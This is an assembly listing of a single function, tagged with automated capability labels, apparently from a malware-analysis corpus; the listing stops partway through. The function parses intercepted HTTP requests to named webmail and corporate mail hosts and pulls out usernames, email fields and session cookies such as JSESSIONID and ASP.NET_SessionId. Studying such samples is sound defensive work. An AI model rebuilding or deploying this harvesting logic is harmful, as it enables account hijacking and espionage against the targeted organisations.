Function at 0x59016410
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Encode data using base64
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5913b10b
push eax
mov eax, dword [esp + 0x24]
mov dword fs:[0], esp
sub esp, 0x178
test eax, eax
push ebx
push ebp
push esi
push edi
je 0x5901643d
mov dword [eax], 0
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x19c]
test ebp, ebp
mov dword [esp + 0x144], ebp
mov dword [esp + 0x98], esi
je 0x5901a58d
test esi, esi
je 0x5901a58d
mov edi, 0x59173d08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59173d08
push esi
push ebp
call fcn.5900cfc0
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x5901a58d
mov edi, 0x59173d08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0xd
je 0x590164e6
mov eax, esi
sub eax, ebx
mov dword [esp + 0x44], eax
mov edi, 0x59173d08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x44]
not ecx
dec ecx
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590164e6
mov eax, ecx
mov cl, byte [eax + edx + 1]
inc eax
cmp cl, 0xd
mov dword [esp + 0x18], eax
jne 0x590164b9
mov edi, 0x59173d08
or ecx, 0xffffffff
xor eax, eax
mov edx, esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
sub edx, ebx
not ecx
dec ecx
sub edx, ecx
cmp eax, edx
jge 0x5901a58d
test eax, eax
jle 0x5901a58d
mov eax, dword [0x5914f850]
mov dword [esp + 0x20], eax
mov edi, str.exchange
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.exchange
add ecx, ebp
mov dword [esp + 0x198], ebx
push ecx
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590165b0
mov edi, str.POST__exchange_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edx, edx
add ecx, ebp
cmp esi, ebx
jle 0x5901657b
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x5901657b
cmp al, 0xd
je 0x5901657b
cmp al, 0xa
je 0x5901657b
inc edx
cmp edx, esi
jl 0x59016567
push edx
push ecx
lea ecx, [esp + 0x84]
call fcn.59099ec0
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 1
push ecx
lea ecx, [esp + 0x24]
call fcn.5909a5a0
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 0
call fcn.5909a410
push str.Content_Type:_multipart_form_data__boundary
push esi
push ebp
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
jne 0x590165e0
push 0x59173d28
push esi
push ebp
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a579
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
push 0x591732f4
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
mov ecx, esi
sub ecx, edx
lea eax, [edx + ebp]
push ecx
push eax
mov dword [esp + 0x88], eax
call fcn.5900f220
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x70], eax
je 0x5901a579
push esi
push ebp
call fcn.59016210
push 0x59173d08
push esi
push ebp
mov dword [esp + 0x130], eax
mov dword [esp + 0x188], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0xa4], ebx
call fcn.5900f220
mov edx, eax
add esp, 0x14
cmp edx, 0xffffffff
je 0x590168df
mov edi, 0x59173d08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.mail.peteco.com.cn
add edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [edx + ebp]
push ecx
push str.mail.peteco.com.cn
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590166bb
mov dword [esp + 0x94], 1
mov edi, str.mysinamail.sina.com.hk
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mysinamail.sina.com.hk
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590166e8
mov dword [esp + 0xa8], 1
mov edi, str.win.mail.ru
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.win.mail.ru
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59016715
mov dword [esp + 0xc4], 1
mov edi, str.mail.chinapatentoffice.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chinapatentoffice.cn
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
je 0x59016759
mov edi, str.mail.chengyh.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chengyh.com
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59016764
mov dword [esp + 0x174], 1
mov edi, str.mail.dycf.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.dycf.cn
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59016791
mov dword [esp + 0x90], 1
mov edi, str.dx.anhuily.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.dx.anhuily.com
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590167be
mov dword [esp + 0xa0], 1
mov edi, str.webmail.hebmc.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.webmail.hebmc.com
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590167e8
mov dword [esp + 0x4c], 1
mov edi, str.10.129.255.30:8080
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.10.129.255.30:8080
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59016812
mov dword [esp + 0x4c], 1
mov edx, dword [0x59195994]
lea ecx, [esp + 0x14]
push edx
call fcn.59094930
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 2
mov eax, dword [ecx - 8]
cmp eax, ebx
je 0x5901684c
mov ebx, dword [esp + 0x18]
push eax
push ecx
push ebx
push esi
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016874
jmp 0x59016850
mov ebx, dword [esp + 0x18]
mov edi, str.intra.panasonic.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.intra.panasonic.cn
push ebx
push esi
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
je 0x5901687c
mov dword [esp + 0x30], 1
mov edi, str..263.net
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.net
push ebx
push esi
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x590168c3
or ecx, eax
mov edi, str..263.com
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.com
push ebx
push esi
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
je 0x590168ce
mov dword [esp + 0x114], 1
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.59095090
mov eax, dword [esp + 0x19c]
push str.OA_USER_ID
push eax
push ebp
call fcn.5900f220
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x590169a7
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590169a7
cmp al, 0xd
je 0x59016953
cmp byte [esi + edx + 1], 0xa
je 0x59016953
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016953
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016921
test esi, esi
jle 0x590169a7
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x590169a7
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.59099ec0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 3
push ecx
lea ecx, [esp + 0x24]
call fcn.5909a5a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.5909a410
mov edx, dword [0x5914f850]
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 4
test eax, eax
je 0x59016a58
mov edi, str.mail
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.mail
add ecx, ebp
push ecx
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59016a58
mov edi, str.POST__mail_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x19c]
xor edx, edx
not ecx
dec ecx
add ecx, ebp
test esi, esi
jle 0x59016a26
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x59016a26
cmp al, 0xd
je 0x59016a26
cmp al, 0xa
je 0x59016a26
inc edx
cmp edx, esi
jl 0x59016a12
push edx
push ecx
lea ecx, [esp + 0x1c]
call fcn.59099ec0
lea eax, [esp + 0x14]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x194], 5
call fcn.5909a5a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909a410
mov ecx, dword [esp + 0x19c]
push str.id_pchome
push ecx
push ebp
call fcn.5900f220
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016b21
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x3b
je 0x59016b21
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016ac8
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016aa8
test esi, esi
jle 0x59016b21
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59016b21
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.59099ec0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 6
push ecx
lea ecx, [esp + 0x24]
call fcn.5909a5a0
push str._pchome.com.tw
lea ecx, [esp + 0x24]
call fcn.5909b060
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909a410
mov edx, dword [esp + 0x19c]
push str.EMAIL
push edx
push ebp
call fcn.5900f220
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016be7
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x26
je 0x59016be7
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016b9c
mov al, byte [esi + edx]
cmp al, 0xd
je 0x59016be7
cmp al, 0xa
je 0x59016be7
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x26
jne 0x59016b71
test esi, esi
jle 0x59016be7
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59016be7
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.59099ec0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 7
push ecx
lea ecx, [esp + 0x24]
call fcn.5909a5a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909a410
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x19c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push edx
push ebp
call fcn.5900cfc0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59016df4
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59016df4
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
push ecx
push 0x59173d00
push eax
push ebp
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59016df4
cmp eax, esi
jle 0x59016df4
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi + ebp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x1a0]
sub ecx, esi
push str.username
push ecx
push edx
call fcn.5900cfc0
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x59016df4
mov ecx, dword [esp + 0x14]
lea eax, [ebx + esi]
cmp eax, ecx
jge 0x59016df4
mov cl, byte [eax + ebp - 1]
cmp cl, 0xa
je 0x59016cd8
cmp cl, 0x3b
je 0x59016cd8
cmp cl, 0x20
jne 0x59016cc3
mov al, byte [eax + ebp - 2]
cmp al, 0xa
je 0x59016cd8
cmp al, 0x3b
je 0x59016cd8
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add esi, ecx
jmp 0x59016c5f
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
mov edi, dword [esp + 0x198]
dec ecx
mov edx, ecx
add edx, ebx
add edx, esi
add edx, edi
mov al, byte [edx]
cmp al, 0x3b
je 0x59016d2b
cmp al, 0xd
je 0x59016d2b
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59016d2b
mov al, byte [edx + ebp + 1]
inc ebp
cmp al, 0x3b
jne 0x59016cfe
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59016ded
push ebp
push edx
lea ecx, [esp + 0x2c]
call fcn.59094b40
push ecx
lea edx, [esp + 0x28]
mov bl, 8
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], bl
call fcn.59094660
lea eax, [esp + 0x84]
mov byte [esp + 0x194], bl
push eax
call fcn.5900aa80
add esp, 8
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0xa
call fcn.59095210
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], bl
call fcn.59095090
mov ecx, dword [esp + 0x24]
push ecx
lea ecx, [esp + 0x24]
call fcn.5909a770
push 0x40
lea ecx, [esp + 0x24]
call fcn.5909b510
cmp eax, 0xffffffff
jne 0x59016ddc
push 0x59174668
lea ecx, [esp + 0x24]
call fcn.5909b060
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 4
call fcn.59095090
mov ebp, dword [esp + 0x198]
mov eax, dword [esp + 0x90]
test eax, eax
je 0x59016ec1
push 0x591949a0
lea ecx, [esp + 0x1c]
call fcn.59099b10
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x59174664
mov byte [esp + 0x19c], 0xb
call fcn.59094760
mov ebx, dword [esp + 0x1a4]
lea edx, [esp + 0x20]
push edx
push ebx
push ebp
mov byte [esp + 0x1a4], 0xb
call fcn.59020180
mov eax, dword [esp + 0x2c]
add esp, 0x14
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59016eae
push str.dycf.cn
lea ecx, [esp + 0x1c]
call fcn.5909b5f0
mov edx, eax
mov edi, 0x5917464c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
lea ecx, [esp + 0x80]
push edx
push ecx
lea ecx, [esp + 0x20]
call fcn.5909cb50
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x194], 0xd
call fcn.5909a5a0
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], 0xb
call fcn.5909a410
lea ecx, [esp + 0x18]
mov byte [esp + 0x190], 4
call fcn.5909a410
jmp 0x59016ec8
mov ebx, dword [esp + 0x19c]
mov eax, dword [0x5914f850]
mov dword [esp + 0x5c], eax
mov byte [esp + 0x190], 0xe
mov dword [esp + 0x58], eax
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900cfc0
mov esi, eax
mov eax, dword [esp + 0x5c]
add esp, 0x10
test eax, eax
je 0x59017080
cmp esi, 0xffffffff
je 0x59017080
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59173d00
push ebx
push ebp
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017080
cmp eax, esi
jle 0x59017080
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, esi
push ecx
push str.asp.net_sessionid
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017080
mov ecx, eax
mov eax, dword [esp + 0x14]
add ecx, esi
cmp ecx, eax
jge 0x59017080
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59016fec
cmp al, 0xd
je 0x59016fec
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59016fec
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59016fb7
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017080
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.59094b40
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x10
call fcn.59094660
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x10
push eax
call fcn.5900aa80
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x12
push ecx
lea ecx, [esp + 0x60]
call fcn.5909a770
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x10
call fcn.59095090
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0xf
call fcn.59095090
mov edx, dword [0x5914f850]
mov dword [esp + 0x50], edx
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900cfc0
mov esi, eax
mov eax, dword [esp + 0x124]
add esp, 0x10
test eax, eax
je 0x590173da
cmp esi, 0xffffffff
je 0x59017234
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59173d00
push ebx
push ebp
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017234
cmp eax, esi
jle 0x59017234
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.JSESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017234
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x59017234
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590171a0
cmp al, 0xd
je 0x590171a0
cmp al, 0x21
je 0x590171a0
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590171a0
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017167
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017234
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.59094b40
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x14
call fcn.59094660
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x14
push eax
call fcn.5900aa80
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x16
push ecx
lea ecx, [esp + 0x54]
call fcn.5909a770
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x14
call fcn.59095090
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.59095090
mov edx, dword [esp + 0x50]
mov eax, dword [edx - 8]
test eax, eax
jne 0x590173da
mov edi, str.POST__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.POST__
push ebx
push ebp
call fcn.5900cfc0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x590173da
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59173d00
push ebx
push ebp
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x590173da
cmp eax, esi
jle 0x590173da
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.SESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x590173da
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x590173da
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59017346
cmp al, 0xd
je 0x59017346
cmp al, 0x21
je 0x59017346
cmp al, 0x3f
je 0x59017346
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017346
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017309
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590173da
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.59094b40
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x17
call fcn.59094660
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x17
push eax
call fcn.5900aa80
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x19
push ecx
lea ecx, [esp + 0x54]
call fcn.5909a770
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x17
call fcn.59095090
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.59095090
push 0x59173d00
push ebx
push ebp
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a535
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
push str.PostCharset
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
sub ebx, edx
add ebp, edx
push ebx
push ebp
mov dword [esp + 0x1a4], ebp
mov dword [esp + 0x1a8], ebx
call fcn.5900f220
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590174c1
mov edi, str.PostCharset
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x59173d00
add esi, ecx
sub edx, esi
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x590174c1
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x59173e78
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
add esi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59173e78
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
je 0x590174b6
mov edi, str.utf8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.utf8
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x590174c1
mov dword [esp + 0x94], 1
push str.OPT4
push ebx
push ebp
mov dword [esp + 0x130], 0
call fcn.5900f220
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59017550
mov edi, str.OPT4
or ecx, 0xffffffff
xor eax, eax
push 0x59173d00
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
mov ecx, ebx
sub ecx, esi
lea edx, [esi + ebp]
push ecx
push edx
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59017550
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x59174628
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ebp
push ecx
push 0x59174628
push esi
call fcn.59089490
add esp, 0xc
test eax, eax
jne 0x59017550
mov dword [esp + 0x124], 1
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x7c]
xor eax, eax
lea ecx, [esp + 0xb0]
mov dword [esp + 0xb0], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push ecx
push edx
push esi
push ebx
push ebp
